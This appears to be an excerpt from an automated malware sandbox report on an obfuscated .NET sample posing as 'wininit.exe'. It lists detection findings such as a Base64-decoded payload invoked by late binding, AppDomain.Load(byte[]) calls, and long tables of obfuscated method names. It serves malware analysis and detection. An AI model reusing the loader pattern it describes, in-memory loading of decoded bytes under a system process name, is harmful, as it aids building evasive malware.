Source: 5.2.wininit.exe.27df820.0.raw.unpack, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{u18Yrvd6MHYzWKkpaqIpVdhSMFtlwPlc4jel8z7Z94evmRhK6[2],Uc46tMpW2xEMTIR4OAhEZNCcXyin0mKKsXm6twuQU38Vw8qF8o9BxAy57IPqiAKHuxCz7pqr8cKV4Ula05.GLwACZZdCKkhy1QWaJyL9RUyZo0dawz8xKtdEETkQeZ639bK6kjjpJVV4imsXmMaLXqH7q3gUYd1APJWs3(Convert.FromBase64String(u18Yrvd6MHYzWKkpaqIpVdhSMFtlwPlc4jel8z7Z94evmRhK6[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: BIT6DEB.tmp.3.dr, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	.Net Code: _79PiUcFY60MV4sY1q8U38GCzz2FBKgfo5xy5WbrD9j4RFOWqC System.AppDomain.Load(byte[])
Source: BIT6DEB.tmp.3.dr, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	.Net Code: CLaisFSHgipWnZ55ci4tE2r4WU1M7UpnMzjF4MgO5jMyAq7ks System.AppDomain.Load(byte[])
Source: BIT6DEB.tmp.3.dr, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	.Net Code: CLaisFSHgipWnZ55ci4tE2r4WU1M7UpnMzjF4MgO5jMyAq7ks
Source: wininit.exe.5.dr, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	.Net Code: _79PiUcFY60MV4sY1q8U38GCzz2FBKgfo5xy5WbrD9j4RFOWqC System.AppDomain.Load(byte[])
Source: wininit.exe.5.dr, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	.Net Code: CLaisFSHgipWnZ55ci4tE2r4WU1M7UpnMzjF4MgO5jMyAq7ks System.AppDomain.Load(byte[])
Source: wininit.exe.5.dr, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	.Net Code: CLaisFSHgipWnZ55ci4tE2r4WU1M7UpnMzjF4MgO5jMyAq7ks
Source: 5.2.wininit.exe.27df820.0.raw.unpack, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	.Net Code: _79PiUcFY60MV4sY1q8U38GCzz2FBKgfo5xy5WbrD9j4RFOWqC System.AppDomain.Load(byte[])
Source: 5.2.wininit.exe.27df820.0.raw.unpack, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	.Net Code: CLaisFSHgipWnZ55ci4tE2r4WU1M7UpnMzjF4MgO5jMyAq7ks System.AppDomain.Load(byte[])
Source: 5.2.wininit.exe.27df820.0.raw.unpack, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	.Net Code: CLaisFSHgipWnZ55ci4tE2r4WU1M7UpnMzjF4MgO5jMyAq7ks

Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Code function: 5_2_00007FF848AE00BD pushad ; iretd	5_2_00007FF848AE00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF8489CD2A5 pushad ; iretd	7_2_00007FF8489CD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF848AE09B8 push E95A81D0h; ret	7_2_00007FF848AE09C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF848AE10A8 push E86F7F0Dh; ret	7_2_00007FF848AE10F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF848AE00BD pushad ; iretd	7_2_00007FF848AE00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF848BB1AC8 push es; retf	7_2_00007FF848BB1AC9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF8489CD2A5 pushad ; iretd	10_2_00007FF8489CD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF848AE00BD pushad ; iretd	10_2_00007FF848AE00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF848BB1AC8 push es; retf	10_2_00007FF848BB1AC9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF8489ED2A5 pushad ; iretd	12_2_00007FF8489ED2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF848B03428 push ebx; iretd	12_2_00007FF848B03452
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF848BD259A push eax; iretd	12_2_00007FF848BD25C1
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 19_2_00007FF848AE00BD pushad ; iretd	19_2_00007FF848AE00C1

Source: BIT6DEB.tmp.3.dr, O4fo8BCjnNCwEmwjuOk909aLEMrJnQGlNiMmsokpvUNs28JOr9NJOa1KOlvo8fuohjLXCgPy2WhOzv4xur.cs	High entropy of concatenated method names: 'rNzCwKhEA5jxqf2DGIUdk1JROnkQCzlaWEu4XXE8otMASVneNFurAWxFcl1HB1FfGrIJFH3ITC0AWy3Kra', 'vYqE3RhUUuDkKx80UaFt692DM4qhaYJtLNhExNrORa4IoCChppfBfcX2MRt3Ssd9jmnjQTROXTKyKPSkb0', '_6XLj2hTRFFyT8iED3aMgTkI5cbWFRppmJls97KewJHoFOXmdlyh0lDxpfBRnlUbAhg6sCi2Vs0lGGnJXlK', 'L2geSOWG3GoNEH9QYgOD3240', 'D0qNFJPak9qwmms0KvqWsv9N', 'INYJ1lGCXhbaL4RAahO9hO8S', 'UE7uAlQ9OhJCvVA2BeFASEUv', 'HGxSxwm3el1k1QIl5jgRvWhE', 'OpnESpMDLwhqm2YrTWeUezij', 'zPpN1JE9Bgfy2zRdJMnkqYf5'
Source: BIT6DEB.tmp.3.dr, jeedmwCGdFhBcqZCA15WaP7jTKXlAF7sGR7nB57ve4F5wgrajMWJJsDDFY0I1vl6.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'h59vIOhTuXoIHrkDb7ca9gqUvSP2AXN4Cq3iR2ycTR3nYH4HhGrgeQ7SnTy6dbiJpgpJX0o0NsHd3dEkql', 'BeTuFPnycy6pWb5p1YopgxtblRUi0cqXPdC4b8TTh5OYevCCygB3N36ZQDF4UXlp7lZW3g5zKTP5PGb41z', '_7Io0hzVl8T88nX41KBj4rIb0', 'yMu83MRGOhZkbdIpZjugP14m'
Source: BIT6DEB.tmp.3.dr, xaTyEYG3tM6dhGUM43tuLNgAQtUu8Voa3zSAj5FxOU1z62TCl.cs	High entropy of concatenated method names: 'bNRqxAI6ScANdA83639TnYaemlSXwLGwmQbIm4BGWMtPOdgpU', 'KhPuoqOD5oClw0fbPBsy7o8VpCmjLmQAhkfuACCFNnGcRKeh2', 'PleEGhZJ4ayjB57QATIYo8FvhLCIl8kRIZm7I2yllDLENQ8WC', 'wqUTWKp6OfOKixBG32RpId98', 'kg0ZpoaqrzLya4D2c973veMQ', 'CQyMUprWsGeW4c9J5b0dEZnx', 'uWhmyQWPwd008Of90lBInVwE', 'x0YNYitysT2f1B51surYTvQS', '_2A7ePYYHNGJGiyZmXYw6JtDI', '_6PKadTSdIBBTvquFkdnzChzT'
Source: BIT6DEB.tmp.3.dr, tbuIlvTcGLkYNSengIBQYlrDZOdSkzFCt38xFZ4C3HUowPPqW.cs	High entropy of concatenated method names: 'YP8zvgzbKr3X1TSTzDwz5rPoOMpP47hi2bMGqsjARuO58Awr3', '_7Ae6fk131Q32VUxvWVTQ2vIdaNM2ft2r6ytyMappEY1tsxQFT', 'rdlKghPhNlDVRYiLCJOxLTIDRjMaAJ8ZBqg6oGIhxGn40zYBf', 'OlRjhnbqYda0vWnO0csMwwOwfCIET5cmdwMFkIwispB9P4tLD', 'HQASlGnJ8sWTKhT5gKo2x7e6W7swI15dMn11lP9sdcO5QFm3M', 'Jq0bmtiEusqE1gzakdT8j45P7KS5ReV6bKP0reeEGYL0h9IcK', 'NkEN5kuy33L8z9VUjVtfOzmelJnigmLUvFYguOjVaLSevjBc5', 'TggHJ4WTcTmuS6MDh7BLTYkibpFkhtmWLzN5ScfAeEmQLQ3p5', 'VFYPGKkHfYiunNlVlNWSDPicuWYajg5g49U9YrQC5ov1XAQeD', 'fTKDRvFM49GwUocdW8NzCBgKFKQ3KGErJyPCYrNNknwKoiLVU'
Source: BIT6DEB.tmp.3.dr, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	High entropy of concatenated method names: '_200IYWRkJXTEvIev0wyVQ8khuzz5TkaXLRB5odqRv1i1aZFWy', '_79PiUcFY60MV4sY1q8U38GCzz2FBKgfo5xy5WbrD9j4RFOWqC', 'dGmPWh99HplGCmVameubZh6Bn1If4z3SszJenghcDcRscWDZv', 'kk7xwRdXAQjHR3lDKHa4IY1aEU4X6OFZ2QPIIkuJqODCYdnwb', '_3D2GkrlgeTBtjdCapz3A0tAFNjqUw6VztscyZTEY8Jno4DefZ', '_0cA0rRTi3EUU50MCjV09wLrCvJR1ZhbzpZyrMhpraWOFsebkd', 'gPAxFIVD0V9XYobMwdMOUzGryl9Tq6b8PDLiSj93KH9Vr3orP', 'gqGNaCh0zu3iBmJrrJ6D4LVl3RaXyiyt7YnuXheh8mpEIweKn', 'yRdIWKoyLedB5sZgzrCMEYLkznbAQB1C48thx4nKRSqsLja77', 'Q2geSFU2GkHWD6ZCYzuFBiMx2etNoUvSQ4q5T1GDJaTGrr2bp'
Source: BIT6DEB.tmp.3.dr, ekkMiDv0naq3sjxJyXfIR1x5yXvl1xKtORIjB3FBlkLzSnlEI.cs	High entropy of concatenated method names: 'S7oci1pip6wZx2y2vUfCY9CCLyBdr6zoDLTU6pfV8e0RGe1HL', 'pyBVG2zto9vz9EE8HnjMKnvrDEQI5Aunko6ShQZXZGixZUKVH', 'navDs1FhMJfT5RIxv6tSK7As017Kp9dD7Rn1wxHrqin2tIDK9', 'WhXvhkddoBH9uFSy5eUcOKkQZHwjJ835epzRkkUbP91WVT7HL', 'gwPhuzzmFIH0oXOkWusYDt6YSJK3x6rvqiWFVVLuT2vU6kL2X', 'vetr6RQtXdLxFQ5LgEhNJXfCf9i3rWWX7rQ1Nyne85wANsWkH', 'TZ36Zj4ysqIFu25fYfzSu5iQP7HgEE3TPXD6F12T18T4OaUtd', 'IM6nIfsB33pJMOxvjlefgnnlHSfZ7opxqlKhTURPZSlWCz1JY', 'zAMDB2Sm7T6vLcNYj4ROolEippMm8FlBTM2fJW8lHuakIEuS0', 'sAs1CvbSSXDTXpIippToMHMCuYJu6jeoptb0nX0Dn8XISn64u'
Source: BIT6DEB.tmp.3.dr, 0cgrNmkHxZRuAQEqRimtas6lLl5iBAzJCeHLHLif0Cvv39xyjt35uB2sia2x9huxx5fL0C9RrdrO8HA9Kv.cs	High entropy of concatenated method names: 'NYQjxEafQiKx4H71pyQajo2KOqj1TiUjbeqvnzq9Pr5sZV01IaBmPVj1jdZseqX90REFKGWsK6JHhFbNT9', '_8x41fVnVzdVtXRIhY20zi8q0a3lWuCJZ3a5WYYSod13DX3weAXibqHIfCFCcyAClpDPeZD0OaO1gr1nZkd', 'NG6KL4SqQbctl477Z1rBJeaWdLAOqpZIKLQkoWkzv548d45WOJLPaHLwoQR3K77fr41XP0tvoVN2pt0LMr', 'FNUc2S0sTWx6sILVStIE6r0ZScX9X5SlECl6h9XSvBYmrapkw2NExIUssGjY90yvoV4cwCpYpE8aet08Ua', 'x4ia9IJOWCm9KHfsjDZfCNdn', 'ShNGhW38GUzqDUFKTYramyfe', 'f8jlYeW0h2IjFh7FzKKUg9BU', 'mVzI7aBt1zP6YoGAo2SHrf8b', 'TwmBG6S7RE615Y2U9RdY75nX', 'eyqj4o8T9oE6mMD6EAec6lo4'
Source: BIT6DEB.tmp.3.dr, 28YENLqzYH38q0lvSHq8cdgEkxEBgvoW17YoNf76xEbjh3XKx.cs	High entropy of concatenated method names: 'wFjkhLY4LoZKYwJa0AgL7JA91uaNVO2SkT4nyih3Gs4hZ8VGU', 'RUA4E1eRbVUByXGt869zgGugRmKiDQBeP7rGSz8Wurrp58fn0', 'LU47xaoZ2v6v98XVJR117BDC5FmeALSJkIAjBXD9FsAOsYFYH', 'dmPn64gMgTov1b5NPB09PLmiqacm2BLpgYQ9pDVyEUhVTiIot', 'enGUfBbMbPrDYNNcn5KqTGd2rYWqmmITrdhxp8xAoaIYo4jhn', 'kfbhyKaWBd8YKci6LA3h4u1bSxwJ5T5Gbjrol551lVFHYxalA', 'MnkSTQYh4TOxUyl9QNdTSBuObfkq70V76tCLS5EOulQpzBF7i', '_4l0KmjQ39YQqzw57zkobh0SjqKWelJ7LrNeQ2iRqdzCewWTKT', 'cMqeuU3kNgXzh1N4r0KRP0Jc0LsPCe6qbvvwT3G2UBR1TLW2K', 'FAg0JpcnytEPf6Dzm7BR7V5bRQY9ztMRKdryaZ4kQGywh0mva'
Source: BIT6DEB.tmp.3.dr, YkVOnCxniKkBgIh2gN6pw5h2FMLgVXKlnmyboGGhhp52kCEnTF5yxtfgYAnkHI4yTcVMQfxkKEn5AvfECo.cs	High entropy of concatenated method names: 'AcisUNCSuVFrBikpjiolvARXB02lFHiP4vtsFOIpIJ2DMbwu28uI7QOSpqz9GU0HPZf20b7gXKNv1moIaH', 'gTRHx9arOKRVotnoIrZKicfQ', 'u9eGy0zRxOfvoHxI8o8ueKAu', 'CBjzxk5vc0zWIz32x0QeW6CU', 'w21H32QCMSqEug7WDQkGRyoy'
Source: BIT6DEB.tmp.3.dr, JTUajwZX3bMUNOY0rg3Pwk92NPZAXHesr02c48g1DUybCmimQ.cs	High entropy of concatenated method names: 'e7JEgLIyCKYdgbReH8mq6nqtiAqeh2614BsiouiQLaKibzVCM', 'x21N60NoZ5CLkBrvfK3AdQSj', 'mAGU8HtdtxCs5hmekd1tLME5', 'fQ6mchearhcE8vIuznCdPYZN', 'h66xZRtvI20tuBqdyerpBxSS'
Source: BIT6DEB.tmp.3.dr, Uc46tMpW2xEMTIR4OAhEZNCcXyin0mKKsXm6twuQU38Vw8qF8o9BxAy57IPqiAKHuxCz7pqr8cKV4Ula05.cs	High entropy of concatenated method names: 'TaWBmBsELjv5ZsS0acJTWcHbv5YUUXsh570w7OI95hwDxcgYCmWRqlaXspogRYWjbyRGNPGmJWet17cUFB', 'NNrn5oq8k7vsV61gtCbylTPezpy79dUQQh4bwHKzNqQW20CjtxkF1kj0KU1F8NQFlZZk5hLN1YPMOIogDF', 'WIk5b8uMUVcHO1Fp4gQ7qzirTJoI3fKvoBPfwpWdgWeFkBkFd0cWtsb523Vc8xGzqmEshx0aqK7QYu7Fh5', 'yurrNEi67T8C0XBpq87n8zeRyrDeJ0kg90quHF5lXKNxxaaMfxDdqSy3OvrBaMJXSjYzJyPQvHKXCeFCDt', 'YIZzebrGnSb2NRPXP1dEZVqIHIbCxRO5NuGXN592WKiBVffdmpGzZN1f69OV6sBax1xNwHGj01XCjpoU0X', 'QyNbfu3UMCLAq7wREA47xDt8w6tWtuRxUwxKnIBFWESTTstqCDkPbq2Tx3DpcaXcRxahYI0h1RVnzVueZt', '_3NRSEKWHhWrAXapI0GlMsHe6Prjdia8XvttGp9lWFTzJv5YbLrBQE1lWznTmnUBuegzIyOsv3MTVflqOev', 'HnMB8wYHWCvC9e2BWXniO494cO6FSXcr3sGDp4T2vXvZY8vtm0o7Ny85MfvFIkFuTgaZvLwRgdeGTpVC0w', 'KRj7qRjQa2ixwuEkGItZz79XHSyCmUQXoL2jLGQSdMLcMzSNfrcsvkRcxr1s7jjWa3vZ3LXJOmnll2pCkp', 'lYVkbVw3fZHQOQbjuREA8NMLcQXhlcTjTVoNOKnZWJhW4iuhbcJ7fsOaW3bEb4WxtpOBIilBdJCrNueh4p'
Source: wininit.exe.5.dr, O4fo8BCjnNCwEmwjuOk909aLEMrJnQGlNiMmsokpvUNs28JOr9NJOa1KOlvo8fuohjLXCgPy2WhOzv4xur.cs	High entropy of concatenated method names: 'rNzCwKhEA5jxqf2DGIUdk1JROnkQCzlaWEu4XXE8otMASVneNFurAWxFcl1HB1FfGrIJFH3ITC0AWy3Kra', 'vYqE3RhUUuDkKx80UaFt692DM4qhaYJtLNhExNrORa4IoCChppfBfcX2MRt3Ssd9jmnjQTROXTKyKPSkb0', '_6XLj2hTRFFyT8iED3aMgTkI5cbWFRppmJls97KewJHoFOXmdlyh0lDxpfBRnlUbAhg6sCi2Vs0lGGnJXlK', 'L2geSOWG3GoNEH9QYgOD3240', 'D0qNFJPak9qwmms0KvqWsv9N', 'INYJ1lGCXhbaL4RAahO9hO8S', 'UE7uAlQ9OhJCvVA2BeFASEUv', 'HGxSxwm3el1k1QIl5jgRvWhE', 'OpnESpMDLwhqm2YrTWeUezij', 'zPpN1JE9Bgfy2zRdJMnkqYf5'
Source: wininit.exe.5.dr, jeedmwCGdFhBcqZCA15WaP7jTKXlAF7sGR7nB57ve4F5wgrajMWJJsDDFY0I1vl6.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'h59vIOhTuXoIHrkDb7ca9gqUvSP2AXN4Cq3iR2ycTR3nYH4HhGrgeQ7SnTy6dbiJpgpJX0o0NsHd3dEkql', 'BeTuFPnycy6pWb5p1YopgxtblRUi0cqXPdC4b8TTh5OYevCCygB3N36ZQDF4UXlp7lZW3g5zKTP5PGb41z', '_7Io0hzVl8T88nX41KBj4rIb0', 'yMu83MRGOhZkbdIpZjugP14m'
Source: wininit.exe.5.dr, xaTyEYG3tM6dhGUM43tuLNgAQtUu8Voa3zSAj5FxOU1z62TCl.cs	High entropy of concatenated method names: 'bNRqxAI6ScANdA83639TnYaemlSXwLGwmQbIm4BGWMtPOdgpU', 'KhPuoqOD5oClw0fbPBsy7o8VpCmjLmQAhkfuACCFNnGcRKeh2', 'PleEGhZJ4ayjB57QATIYo8FvhLCIl8kRIZm7I2yllDLENQ8WC', 'wqUTWKp6OfOKixBG32RpId98', 'kg0ZpoaqrzLya4D2c973veMQ', 'CQyMUprWsGeW4c9J5b0dEZnx', 'uWhmyQWPwd008Of90lBInVwE', 'x0YNYitysT2f1B51surYTvQS', '_2A7ePYYHNGJGiyZmXYw6JtDI', '_6PKadTSdIBBTvquFkdnzChzT'
Source: wininit.exe.5.dr, tbuIlvTcGLkYNSengIBQYlrDZOdSkzFCt38xFZ4C3HUowPPqW.cs	High entropy of concatenated method names: 'YP8zvgzbKr3X1TSTzDwz5rPoOMpP47hi2bMGqsjARuO58Awr3', '_7Ae6fk131Q32VUxvWVTQ2vIdaNM2ft2r6ytyMappEY1tsxQFT', 'rdlKghPhNlDVRYiLCJOxLTIDRjMaAJ8ZBqg6oGIhxGn40zYBf', 'OlRjhnbqYda0vWnO0csMwwOwfCIET5cmdwMFkIwispB9P4tLD', 'HQASlGnJ8sWTKhT5gKo2x7e6W7swI15dMn11lP9sdcO5QFm3M', 'Jq0bmtiEusqE1gzakdT8j45P7KS5ReV6bKP0reeEGYL0h9IcK', 'NkEN5kuy33L8z9VUjVtfOzmelJnigmLUvFYguOjVaLSevjBc5', 'TggHJ4WTcTmuS6MDh7BLTYkibpFkhtmWLzN5ScfAeEmQLQ3p5', 'VFYPGKkHfYiunNlVlNWSDPicuWYajg5g49U9YrQC5ov1XAQeD', 'fTKDRvFM49GwUocdW8NzCBgKFKQ3KGErJyPCYrNNknwKoiLVU'
Source: wininit.exe.5.dr, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	High entropy of concatenated method names: '_200IYWRkJXTEvIev0wyVQ8khuzz5TkaXLRB5odqRv1i1aZFWy', '_79PiUcFY60MV4sY1q8U38GCzz2FBKgfo5xy5WbrD9j4RFOWqC', 'dGmPWh99HplGCmVameubZh6Bn1If4z3SszJenghcDcRscWDZv', 'kk7xwRdXAQjHR3lDKHa4IY1aEU4X6OFZ2QPIIkuJqODCYdnwb', '_3D2GkrlgeTBtjdCapz3A0tAFNjqUw6VztscyZTEY8Jno4DefZ', '_0cA0rRTi3EUU50MCjV09wLrCvJR1ZhbzpZyrMhpraWOFsebkd', 'gPAxFIVD0V9XYobMwdMOUzGryl9Tq6b8PDLiSj93KH9Vr3orP', 'gqGNaCh0zu3iBmJrrJ6D4LVl3RaXyiyt7YnuXheh8mpEIweKn', 'yRdIWKoyLedB5sZgzrCMEYLkznbAQB1C48thx4nKRSqsLja77', 'Q2geSFU2GkHWD6ZCYzuFBiMx2etNoUvSQ4q5T1GDJaTGrr2bp'
Source: wininit.exe.5.dr, ekkMiDv0naq3sjxJyXfIR1x5yXvl1xKtORIjB3FBlkLzSnlEI.cs	High entropy of concatenated method names: 'S7oci1pip6wZx2y2vUfCY9CCLyBdr6zoDLTU6pfV8e0RGe1HL', 'pyBVG2zto9vz9EE8HnjMKnvrDEQI5Aunko6ShQZXZGixZUKVH', 'navDs1FhMJfT5RIxv6tSK7As017Kp9dD7Rn1wxHrqin2tIDK9', 'WhXvhkddoBH9uFSy5eUcOKkQZHwjJ835epzRkkUbP91WVT7HL', 'gwPhuzzmFIH0oXOkWusYDt6YSJK3x6rvqiWFVVLuT2vU6kL2X', 'vetr6RQtXdLxFQ5LgEhNJXfCf9i3rWWX7rQ1Nyne85wANsWkH', 'TZ36Zj4ysqIFu25fYfzSu5iQP7HgEE3TPXD6F12T18T4OaUtd', 'IM6nIfsB33pJMOxvjlefgnnlHSfZ7opxqlKhTURPZSlWCz1JY', 'zAMDB2Sm7T6vLcNYj4ROolEippMm8FlBTM2fJW8lHuakIEuS0', 'sAs1CvbSSXDTXpIippToMHMCuYJu6jeoptb0nX0Dn8XISn64u'
Source: wininit.exe.5.dr, 0cgrNmkHxZRuAQEqRimtas6lLl5iBAzJCeHLHLif0Cvv39xyjt35uB2sia2x9huxx5fL0C9RrdrO8HA9Kv.cs	High entropy of concatenated method names: 'NYQjxEafQiKx4H71pyQajo2KOqj1TiUjbeqvnzq9Pr5sZV01IaBmPVj1jdZseqX90REFKGWsK6JHhFbNT9', '_8x41fVnVzdVtXRIhY20zi8q0a3lWuCJZ3a5WYYSod13DX3weAXibqHIfCFCcyAClpDPeZD0OaO1gr1nZkd', 'NG6KL4SqQbctl477Z1rBJeaWdLAOqpZIKLQkoWkzv548d45WOJLPaHLwoQR3K77fr41XP0tvoVN2pt0LMr', 'FNUc2S0sTWx6sILVStIE6r0ZScX9X5SlECl6h9XSvBYmrapkw2NExIUssGjY90yvoV4cwCpYpE8aet08Ua', 'x4ia9IJOWCm9KHfsjDZfCNdn', 'ShNGhW38GUzqDUFKTYramyfe', 'f8jlYeW0h2IjFh7FzKKUg9BU', 'mVzI7aBt1zP6YoGAo2SHrf8b', 'TwmBG6S7RE615Y2U9RdY75nX', 'eyqj4o8T9oE6mMD6EAec6lo4'
Source: wininit.exe.5.dr, 28YENLqzYH38q0lvSHq8cdgEkxEBgvoW17YoNf76xEbjh3XKx.cs	High entropy of concatenated method names: 'wFjkhLY4LoZKYwJa0AgL7JA91uaNVO2SkT4nyih3Gs4hZ8VGU', 'RUA4E1eRbVUByXGt869zgGugRmKiDQBeP7rGSz8Wurrp58fn0', 'LU47xaoZ2v6v98XVJR117BDC5FmeALSJkIAjBXD9FsAOsYFYH', 'dmPn64gMgTov1b5NPB09PLmiqacm2BLpgYQ9pDVyEUhVTiIot', 'enGUfBbMbPrDYNNcn5KqTGd2rYWqmmITrdhxp8xAoaIYo4jhn', 'kfbhyKaWBd8YKci6LA3h4u1bSxwJ5T5Gbjrol551lVFHYxalA', 'MnkSTQYh4TOxUyl9QNdTSBuObfkq70V76tCLS5EOulQpzBF7i', '_4l0KmjQ39YQqzw57zkobh0SjqKWelJ7LrNeQ2iRqdzCewWTKT', 'cMqeuU3kNgXzh1N4r0KRP0Jc0LsPCe6qbvvwT3G2UBR1TLW2K', 'FAg0JpcnytEPf6Dzm7BR7V5bRQY9ztMRKdryaZ4kQGywh0mva'
Source: wininit.exe.5.dr, YkVOnCxniKkBgIh2gN6pw5h2FMLgVXKlnmyboGGhhp52kCEnTF5yxtfgYAnkHI4yTcVMQfxkKEn5AvfECo.cs	High entropy of concatenated method names: 'AcisUNCSuVFrBikpjiolvARXB02lFHiP4vtsFOIpIJ2DMbwu28uI7QOSpqz9GU0HPZf20b7gXKNv1moIaH', 'gTRHx9arOKRVotnoIrZKicfQ', 'u9eGy0zRxOfvoHxI8o8ueKAu', 'CBjzxk5vc0zWIz32x0QeW6CU', 'w21H32QCMSqEug7WDQkGRyoy'
Source: wininit.exe.5.dr, JTUajwZX3bMUNOY0rg3Pwk92NPZAXHesr02c48g1DUybCmimQ.cs	High entropy of concatenated method names: 'e7JEgLIyCKYdgbReH8mq6nqtiAqeh2614BsiouiQLaKibzVCM', 'x21N60NoZ5CLkBrvfK3AdQSj', 'mAGU8HtdtxCs5hmekd1tLME5', 'fQ6mchearhcE8vIuznCdPYZN', 'h66xZRtvI20tuBqdyerpBxSS'
Source: wininit.exe.5.dr, Uc46tMpW2xEMTIR4OAhEZNCcXyin0mKKsXm6twuQU38Vw8qF8o9BxAy57IPqiAKHuxCz7pqr8cKV4Ula05.cs	High entropy of concatenated method names: 'TaWBmBsELjv5ZsS0acJTWcHbv5YUUXsh570w7OI95hwDxcgYCmWRqlaXspogRYWjbyRGNPGmJWet17cUFB', 'NNrn5oq8k7vsV61gtCbylTPezpy79dUQQh4bwHKzNqQW20CjtxkF1kj0KU1F8NQFlZZk5hLN1YPMOIogDF', 'WIk5b8uMUVcHO1Fp4gQ7qzirTJoI3fKvoBPfwpWdgWeFkBkFd0cWtsb523Vc8xGzqmEshx0aqK7QYu7Fh5', 'yurrNEi67T8C0XBpq87n8zeRyrDeJ0kg90quHF5lXKNxxaaMfxDdqSy3OvrBaMJXSjYzJyPQvHKXCeFCDt', 'YIZzebrGnSb2NRPXP1dEZVqIHIbCxRO5NuGXN592WKiBVffdmpGzZN1f69OV6sBax1xNwHGj01XCjpoU0X', 'QyNbfu3UMCLAq7wREA47xDt8w6tWtuRxUwxKnIBFWESTTstqCDkPbq2Tx3DpcaXcRxahYI0h1RVnzVueZt', '_3NRSEKWHhWrAXapI0GlMsHe6Prjdia8XvttGp9lWFTzJv5YbLrBQE1lWznTmnUBuegzIyOsv3MTVflqOev', 'HnMB8wYHWCvC9e2BWXniO494cO6FSXcr3sGDp4T2vXvZY8vtm0o7Ny85MfvFIkFuTgaZvLwRgdeGTpVC0w', 'KRj7qRjQa2ixwuEkGItZz79XHSyCmUQXoL2jLGQSdMLcMzSNfrcsvkRcxr1s7jjWa3vZ3LXJOmnll2pCkp', 'lYVkbVw3fZHQOQbjuREA8NMLcQXhlcTjTVoNOKnZWJhW4iuhbcJ7fsOaW3bEb4WxtpOBIilBdJCrNueh4p'
Source: 5.2.wininit.exe.27df820.0.raw.unpack, O4fo8BCjnNCwEmwjuOk909aLEMrJnQGlNiMmsokpvUNs28JOr9NJOa1KOlvo8fuohjLXCgPy2WhOzv4xur.cs	High entropy of concatenated method names: 'rNzCwKhEA5jxqf2DGIUdk1JROnkQCzlaWEu4XXE8otMASVneNFurAWxFcl1HB1FfGrIJFH3ITC0AWy3Kra', 'vYqE3RhUUuDkKx80UaFt692DM4qhaYJtLNhExNrORa4IoCChppfBfcX2MRt3Ssd9jmnjQTROXTKyKPSkb0', '_6XLj2hTRFFyT8iED3aMgTkI5cbWFRppmJls97KewJHoFOXmdlyh0lDxpfBRnlUbAhg6sCi2Vs0lGGnJXlK', 'L2geSOWG3GoNEH9QYgOD3240', 'D0qNFJPak9qwmms0KvqWsv9N', 'INYJ1lGCXhbaL4RAahO9hO8S', 'UE7uAlQ9OhJCvVA2BeFASEUv', 'HGxSxwm3el1k1QIl5jgRvWhE', 'OpnESpMDLwhqm2YrTWeUezij', 'zPpN1JE9Bgfy2zRdJMnkqYf5'
Source: 5.2.wininit.exe.27df820.0.raw.unpack, jeedmwCGdFhBcqZCA15WaP7jTKXlAF7sGR7nB57ve4F5wgrajMWJJsDDFY0I1vl6.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'h59vIOhTuXoIHrkDb7ca9gqUvSP2AXN4Cq3iR2ycTR3nYH4HhGrgeQ7SnTy6dbiJpgpJX0o0NsHd3dEkql', 'BeTuFPnycy6pWb5p1YopgxtblRUi0cqXPdC4b8TTh5OYevCCygB3N36ZQDF4UXlp7lZW3g5zKTP5PGb41z', '_7Io0hzVl8T88nX41KBj4rIb0', 'yMu83MRGOhZkbdIpZjugP14m'
